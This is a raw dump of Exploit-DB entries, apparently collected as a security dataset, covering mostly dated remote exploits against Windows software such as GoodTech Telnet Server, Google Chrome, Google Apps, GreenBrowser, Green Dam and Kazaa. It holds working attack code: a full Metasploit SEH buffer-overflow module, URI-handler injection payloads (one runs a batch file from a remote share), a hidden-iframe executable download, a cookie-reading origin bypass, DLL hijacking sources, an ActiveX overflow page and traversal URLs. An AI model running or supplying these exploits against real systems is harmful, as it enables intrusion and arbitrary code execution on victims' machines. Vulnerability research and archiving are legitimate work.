deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16817
Description: GoodTech Telnet Server 5.0.6 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: goodtech_telnet.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
				versions prior to 5.0.7. By sending an overly long string, an attacker can
				overwrite the buffer and control program execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-0768' ],
					[ 'OSVDB', '14806'],
					[ 'BID', '12815' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English All',   { 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Mar 15 2005',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(2380)
			], self.class)
	end

	def exploit
		connect

		sploit = rand_text_english(10020, payload_badchars)
		seh    = generate_seh_payload(target.ret)

		sploit[10012, seh.length] = seh

		print_status("Trying target #{target.name}...")

		sock.put(sploit + "\r\n\r\n")

		handler
		disconnect
	end

end
Exploit-DB #10079
Description: Google Apps - mailto URI handler cross-browser Remote command Execution
Type: remote
Platform: windows
Date: 2009-10-01
Author: pyrokinesis

Exploit:
google apps googleapps.url.mailto:// uri handler cross-browser remote command execution exploit (Internet Explorer)
by nine:situations:group::pyrokinesis
site: http://retrogod.altervista.org/

software site: http://pack.google.com/intl/it/pack_installer.html

tested against: Internet Explorer 8, windows xp sp3
                Internet Explorer 7, windows xp sp3
                Google Chrome 2.0.172.43

vulnerability:
through the vulnerable googleapps.url.mailto:// deprecated uri handler, registered as follows:

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto]
@="Google Apps URL"
"EditFlags"=hex:02,00,00,00
"FriendlyTypeName"="Google Apps URL"
"URL Protocol"=""

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\DefaultIcon]
@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe,0"

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell]

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open]

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open\command]
@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe --mailto.google.com=\"%1\""

is possibile, against all versions of Internet Explorer, by injecting the "--domain=" switch
for the googleapps.exe executable to pass arbitrary switches to the Google Chrome chrome.exe
executable (which is subsequently launched to open the gmail pages),
example: the --renderer-path and --no-sandbox switches
Through them is possible to launch an arbitrary executable from the local system:


googleapps.url.mailto://"%20--domain="--what%20--renderer-path=calc%20--no-sandbox%20--x"/


or to launch an arbitrary batch file from a remote network share:


googleapps.url.mailto://"%20--domain="--x%20--renderer-path=\\192.168.0.1\uncshare\sh.bat%20--no-sandbox%20--x"/


the resulting command line for chrome.exe is in this case:

"C:\Programmi\Google\Chrome\Application\chrome.exe" --app=https://mail.google.com/a/--x --renderer-path=\\192.168.0.1\uncshare\sh.bat --no-sandbox

--x//?view=cm&fs=1&to=googleapps.url.mailto%3A%2F%2F&rlz=1R6GPCK_en___IT344

which leverages the remote command execution issue

Mitigation:

unregister the uri handler by deleting the mentioned registry keys
Exploit-DB #7566
Description: Google Chrome - 'ChromeHTML://' Remote Parameter Injection
Type: remote
Platform: windows
Date: 2008-12-23
Author: Nine:Situations:Group

Exploit:
<!--
Google Chrome Browser (ChromeHTML://) remote parameter injection POC
by Nine:Situations:Group::bellick&strawdog
Site: http://retrogod.altervista.org/
tested against: Internet Explorer 8 beta 2, Google Chrome 1.0.154.36, Microsoft Windows XP SP3
List of command line switches:
http://src.chromium.org/svn/trunk/src/chrome/common/chrome_switches.cc
Original url: http://retrogod.altervista.org/9sg_chrome.html

click the following link with IE while monitoring with procmon
-->
<a href='chromehtml:www.google.com"%20--renderer-path="c:\windows\system32\calc.exe"%20--"'>click me</a>

# milw0rm.com [2008-12-23]
Exploit-DB #6367
Description: Google Chrome 0.2.149.27 - 'SaveAs' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-09-05
Author: SVRT

Exploit:
PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.

Here is Description for this Vuln :
Â·          Type of Issue : Buffer Overflow. 
Â·          Affected Software : Google Chrome 0.2.149.27.      
Â·          Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
Â·          Impact: Remote code execution.
Â·          Rating : Critical .
Â·          Description :
The vulnerability is caused due to a boundary error when handling the â€œSaveAsâ€ function. On saving 
a malicious page with an overly long title (<title> tag in HTML), the program causes a stack-based overflow and makes 
it possible for attackers to execute arbitrary code on usersâ€™ systems.
Â·          How an attacker could exploit the issue :
To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code. 
He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would 
be executed, giving him the privilege to make use of the affected system.
Â·          Discoverer : Le Duc Anh - SVRT - Bkis
Â·          About SVRT :
SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes 
in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols 
and embedded systemsâ€¦
Â·          Website : security.bkis.vn
Â·          Mail : svrt[at]bkav.com.vn

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6367.tgz (2008-chrome.tgz)

# milw0rm.com [2008-09-05]
Exploit-DB #6355
Description: Google Chrome 0.2.149.27 - Automatic File Download
Type: remote
Platform: windows
Date: 2008-09-03
Author: nerex

Exploit:
***************************************************************************
 Author: nerex
 E-mail: nerex[at]live[dot]com

 Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
 downloaded to the user's computer without any user prompt.

 This proof-of-concept was created for educational purposes only.
 Use the code it at your own risk.
 The author will not be responsible for any damages.

 Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

# milw0rm.com [2008-09-03]
Exploit-DB #32699
Description: Google Chrome 1.0.154.36 - FTP Client PASV Port Scan Information Disclosure
Type: remote
Platform: windows
Date: 2009-01-05
Author: Aditya K Sood

Exploit:
source: https://www.securityfocus.com/bid/33112/info

Google Chrome is prone to an information-disclosure vulnerability because it fails to adequately validate server-issued instructions while in PASV (passive) mode.

Attackers can exploit this issue to port-scan networks inside a victim computer's firewall. Information harvested may aid in further attacks.

Google Chrome 1.0.154.36 is affected; other versions may also be vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29768.zip
Exploit-DB #7903
Description: Google Chrome 1.0.154.43 - Clickjacking
Type: remote
Platform: windows
Date: 2009-01-28
Author: x0x

Exploit:
#############################################################
# Application Name   : Google Chrome Web Browser
# Vulnerable Type    : Clickjacking
# Home                   : www.ozkanbozkurt.com
# Author                 : x0x
#############################################################
< ------------------- header data end of ------------------- >

<html>
<style type="text/css">
<!--
.style1 {
 font-size: 50px;
 font-weight: bold;
}
.style2 {
 color: #FF0000;
 font-weight: bold;
 font-size: 24px;
}
-->
</style>
<body>
<span class="style2">x0x</span>
<div class="style1" id="open"
style="position:absolute; width:8px; height:7px; background:#FFFFFF; border:1px; left: 19px; top: 115px;"
onmouseover="document.location='http://www.cyber-warrior.org/BARCOD3';">This</div>
<p><strong>
  <script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="http://www.haber7.com/haber.asp?id=11111" onClick="updatebox(event)"><font
style="font-family:arial;font-size:32px">haber icin tiklayiniz</font></a></p>
<p><br>
</p>
</html>
 
 
 
Greetz : All CW Users | All Muslims and Only Brother me Septemb0x

# milw0rm.com [2009-01-28]
Exploit-DB #7935
Description: Google Chrome 1.0.154.46 - '(ChromeHTML://)' Injection
Type: remote
Platform: windows
Date: 2009-01-30
Author: waraxe

Exploit:
Try this:

chromehtml:"%20--renderer-path="calc"%20--no-sandbox

Disabling sandbox does matter  :) 
Tested with Google Chrome Chrome 1.0.154.46 on Win XP/Vista and IE6/IE7 and it works ...

Full PoC:

<html><head><title>Chrome URI Handler Remote Command Execution PoC</title></head>
<body>
<h3>This is a test</h3>
<iframe src='chromehtml:"%20--renderer-path="calc"%20--no-sandbox' width=0 height=0></iframe>
</body></html>

# milw0rm.com [2009-01-30]
Exploit-DB #37510
Description: Google Chrome 19.0.1084.52 - 'metro_driver.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2012-06-26
Author: Moshe Zioni

Exploit:
/*
source: https://www.securityfocus.com/bid/54477/info

Google Chrome is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Linked Library (DLL) file.

Google Chrome 19.0.1084.21 through versions 20.0.1132.23 are vulnerable.

Note: This issue was previously discussed in BID 54203 (Google Chrome Prior to 20.0.1132.43 Multiple Security Vulnerabilities), but has been given its own record to better document it. 
*/

#include <windows.h>
int hijack_poc ()
{
 WinExec ( "calc.exe" , SW_NORMAL );
 return 0 ;
}

BOOL WINAPI DllMain
    (    HINSTANCE hinstDLL ,
       DWORD dwReason ,
       LPVOID lpvReserved )
{
 hijack_poc () ;
 return 0 ;
}
Exploit-DB #12657
Description: Google Chrome 4.1.249.1059 - Cross Origin Bypass in Google URL (GURL)
Type: remote
Platform: windows
Date: 2010-05-19
Author: Jordi Chancel

Exploit:
#	Google Chrome 4.1.249.1059 Cross Origin Bypass in Google URL (GURL)
#
#	CVE-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1663
#
#	Author: Jordi Chancel
#
#	Software Link: http://googlechromereleases.blogspot.com/2010/04/stable-update-bug-and-security-fixes.html
#
#	Description: {
#		The Google URL Parsing Library (aka google-url or GURL) in Google Chrome 
#		before 4.1.249.1064 allows remote attackers to bypass the Same Origin Policy 
#		via CHARACTER TABULATION or others escape characters inside javascript: protocol string. }
#
#	Some PoC : 

<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\u0009ipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\x09ipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\nipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\ript:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\tipt:alert(document.cookie)','test')" >Inject JavaScript</a>

Greetz : Xylitol , Eddy Bordi , 599eme Man , Gnouf , CTZ .
Exploit-DB #24607
Description: Google Toolbar 1.1.x - About.HTML HTML Injection
Type: remote
Platform: windows
Date: 2004-09-17
Author: ViperSV

Exploit:
source: https://www.securityfocus.com/bid/11210/info

Google Toolbar is reported prone to a HTML injection vulnerability. It is reported that the Google Toolbar 'ABOUT.HTML' page allows the injection of HTML and JavaScript code.

This vulnerability may allow an attacker to inject malicious HTML and script code into the about page of the vulnerable application.

<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t>
Exploit-DB #25033
Description: GREED 0.81 - '.GRX' File List Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Manigandan Radhakrishnan

Exploit:
source: https://www.securityfocus.com/bid/12033/info

greed (Get and Resume Elite Edition) is prone to a buffer overflow vulnerability. The issue is exposed when the client processes GRX file lists. GRX file lists allow file downloads to be scripted. Since GRX file lists may originate from an external or untrusted source, this vulnerability is considered to be remote in nature.

Successful exploitation will result in execution of arbitrary code in the context of the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25033.zip
Exploit-DB #25034
Description: GREED 0.81 - '.GRX' File List Command Execution
Type: remote
Platform: windows
Date: 2004-12-15
Author: Manigandan Radhakrishnan

Exploit:
source: https://www.securityfocus.com/bid/12034/info

greed (Get and Resume Elite Edition) is prone to unauthorized command execution. This issue is exposed when the application processes a GRX file list that specifies shell metacharacters and commands in file names on the list. GRX file lists allow file downloads to be scripted. Since GRX file lists may originate from an external or untrusted source, this vulnerability is considered to be remote in nature.

Successful exploitation will result in command execution in the context of the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25034.zip
Exploit-DB #9065
Description: Green Dam - Remote Change System Time
Type: remote
Platform: windows
Date: 2009-07-01
Author: Anti GD

Exploit:
// Green Dam listen on udp port 1234 and wait for the 4 bytes time value
// We can send some bytes to change the time of the dest system
// testgreendam[at]gmail.com


#include <iostream>
#include <boost/asio.hpp>
#include <boost/date_time.hpp>

int main(int argc, char* argv[])
{
    try
    {
        if (argc != 3)
        {
            std::cerr << "Usage: testgd <host> <time_string>" << std::endl;
            std::cerr << "Example: testgd 192.168.0.12 \"2009-06-03 16:00:00.000\"" << std::endl;
            std::cerr << "Timezone is not calculated, please do it by yourself." << std::endl;
            std::cerr << "testgreendam[at]gmail.com" << std::endl;
            return -1;
        }

        using boost::asio::ip::udp;
        boost::asio::io_service io_service;
        udp::socket s(io_service, udp::endpoint(udp::v4(), 0));
        udp::endpoint dest(
                boost::asio::ip::address::from_string(argv[1]), 1234);

        boost::posix_time::ptime start(boost::gregorian::date(1900,1,1));
        // (2008-1-1) -- (2010-12-31)
        boost::posix_time::ptime end(boost::posix_time::time_from_string(argv[2]));
        boost::posix_time::time_duration sec_count = end - start;

        unsigned int i = htonl(sec_count.total_seconds());
        s.send_to(boost::asio::buffer((char*)&i, 4), dest);
    }
    catch (std::exception& e)
    {
        std::cerr << "Exception: " << e.what() << std::endl;
        return -1;
    }

    return 0;
}

// milw0rm.com [2009-07-01]
Exploit-DB #8938
Description: Green Dam 3.17 (Windows XP SP2) - 'URL' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-06-12
Author: seer[N.N.U]

Exploit:
Green Dam remote buffer overflow exploit
 
"Green Dam" is a software used for monitoring and anti-pornography, popularizing by
Chinese goverment. After July 1st, it will be forced to install on all new Chinese PCs.
Now it already has 50 million copies in China.
In order to monitor the URL that user is exploring, Green Dam injected the browser
process. When Green Dam is trying to handle a long URL, a stack overflow will occur in the
browser process.
This exploit can be used for exploitation on IE, on those computers installed Green Dam.
I used the .net binary to deploy shellcode, for it`s more stable than Heap Spray, and able
to bypass DEP and ASLR on Vista.
The exploit page contains a .net control, so it should be published on IIS.
                        ---seer[N.N.U]

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8938.zip (2009-green-dam.zip)

# milw0rm.com [2009-06-12]
Exploit-DB #34695
Description: GreenBrowser - 'RSRC32.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-09-22
Author: anT!-Tr0J4n

Exploit:
// source: https://www.securityfocus.com/bid/43414/info

GreenBrowser is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 

/*
#GreenBrowser DLL Hijacking Exploit (RSRC32.DLL)
#Author : anT!-Tr0J4n
#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ ,All Dev-poinT members and my friends
#contact: D3v-PoinT@hotmail.com & C1EH@Hotmail.com
# Software Link:http://www.morequick.com/indexen.htm
#Tested on: Windows XP sp3
#how to use :
   Complile and rename to RSRC32.DLL. Place it in the same dir  Execute to check the
  result > Hack3d 



 
#RSRC32.dll (code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "own33d",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}
Exploit-DB #36546
Description: GreenBrowser 6.0.1002 - Search Bar Short Cut Button Double-Free Remote Memory Corruption
Type: remote
Platform: windows
Date: 2012-01-12
Author: NCNIPC

Exploit:
source: https://www.securityfocus.com/bid/51393/info

GreenBrowser is prone to a remote use-after-free memory-corruption vulnerability.

Successfully exploiting this issue may allow attackers to execute arbitrary code in the context of the application. Failed exploit attempts will result in denial-of-service conditions.

GreenBrowser 6.0.1002 and prior versions are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36546.rar
Exploit-DB #24568
Description: Grokster 1.3/2.6 / KaZaA Media Desktop 1.3.x/1.6.1/2.0.x - ActiveX Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-09-03
Author: celebrityhacker

Exploit:
source: https://www.securityfocus.com/bid/11101/info

Altnet is reported prone to a remote buffer overflow vulnerability. This issue presents itself in an ActiveX control installed by the application. Reportedly, a malicious attacker can exploit this issue to execute arbitrary code.

<HTML>
<HEAD>
This overrun occurs in \program files\Altnet\Download Manager\adm.exe
This executable is installed along with Kazaa and Grokster.
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()
{
var foo = "";
for(var icount = 0; icount < 1; icount++)
{
foo = foo +
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxxxx";
}

var ngssoftware;
ngssoftware = new ActiveXObject("ADM.ADM.1");

ngssoftware["IsValidFile"](foo);
}
//-->
</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>
Exploit-DB #20608
Description: Guido Frassetto SEDUM HTTP Server 2.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-04
Author: Joe Testa

Exploit:
source: https://www.securityfocus.com/bid/2335/info

A remote user could gain read access to known files outside of the root directory in a SEDUM HTTP Server. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose the requested file.

http://target/../[file outside web root]

http://target/.../[file outside web root]